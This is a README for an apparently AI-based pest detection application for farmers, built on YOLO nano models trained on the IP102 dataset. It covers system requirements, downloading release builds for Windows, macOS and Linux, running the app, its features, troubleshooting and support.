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🌾 PEST-DECTECTION-AND-MITIGATION - Detect pests effortlessly on your farm

🚀 Getting Started

Welcome to PEST-DECTECTION-AND-MITIGATION! This software helps farmers detect pests in real time using artificial intelligence and computer vision. With this guide, you can easily download and run the application.

⚙️ System Requirements

Before you download, make sure your system meets these requirements:

• Operating System: Windows 10 or later, macOS, or a Linux distribution.
• Processor: Core i3 or better.
• Memory: At least 4 GB of RAM.
• Storage: Minimum of 1 GB of free disk space.
• Internet Connection: Required for installation and updates.

📥 Download & Install

To get started, visit this page to download the latest version: Download from Releases.

Once there, follow these steps:

1. Find the latest release at the top of the page.
2. Click on the version number to expand the details.
3. Select the file appropriate for your operating system. For example:
   • Windows users: Download PEST-DETECTION-Windows.exe.
   • macOS users: Download PEST-DETECTION-macOS.dmg.
   • Linux users: Download PEST-DETECTION-Linux.AppImage.
4. Click on the download link. The file will download to your computer.

📂 Running the Application

After downloading, follow these steps to run the application:

Windows

1. Locate the downloaded file, PEST-DETECTION-Windows.exe.
2. Double-click the file to launch the application.
3. Follow the on-screen instructions to set up any necessary permissions.

macOS

1. Open the downloaded file, PEST-DETECTION-macOS.dmg.
2. Drag the application to your Applications folder.
3. Open the Applications folder and double-click on the application to run it. You may need to approve the application in your security settings.

Linux

1. Open your terminal.
2. Navigate to the directory where you downloaded the file.
3. Run the command: chmod +x PEST-DETECTION-Linux.AppImage.
4. Launch the application by running: ./PEST-DETECTION-Linux.AppImage.

🌱 Features

• Real-time Pest Detection: Uses advanced AI models (YOLOv5-Nano, YOLOv8-Nano, YOLOv11-Nano) to identify pests as they appear.
• Bounding Boxes and Labels: The software displays bounding boxes around detected pests along with their labels and confidence scores.
• User-Friendly Interface: Designed for ease of use, even for those without technical backgrounds.
• Robust Performance: Trained on the IP102 dataset with strong augmentation to ensure reliable pest detection in various environments.

🛠️ Troubleshooting

If you run into issues, here are some common solutions:

• Application Doesn’t Start: Make sure your operating system meets the requirements. If you are using macOS, check your security settings to ensure the app is allowed.
• Slow Detection: Ensure you have a stable internet connection. A stronger processor may also improve performance.
• Update Problems: If updates fail, restart your application and try again. You can also visit the releases page for the latest version.

📞 Support

If you need further assistance, please reach out:

• GitHub Issues Page: Report an Issue
• Community Forum: Join our community to ask questions and share experiences.

🔗 Additional Resources

• Documentation: Detailed user manual with installation guides and FAQs.
• GitHub Repository: Explore the Code
• Tutorial Videos: Links to video demonstrations on how to use the software effectively.

Remember, our aim is to make pest detection simpler and more efficient for all farmers. Enjoy using PEST-DECTECTION-AND-MITIGATION!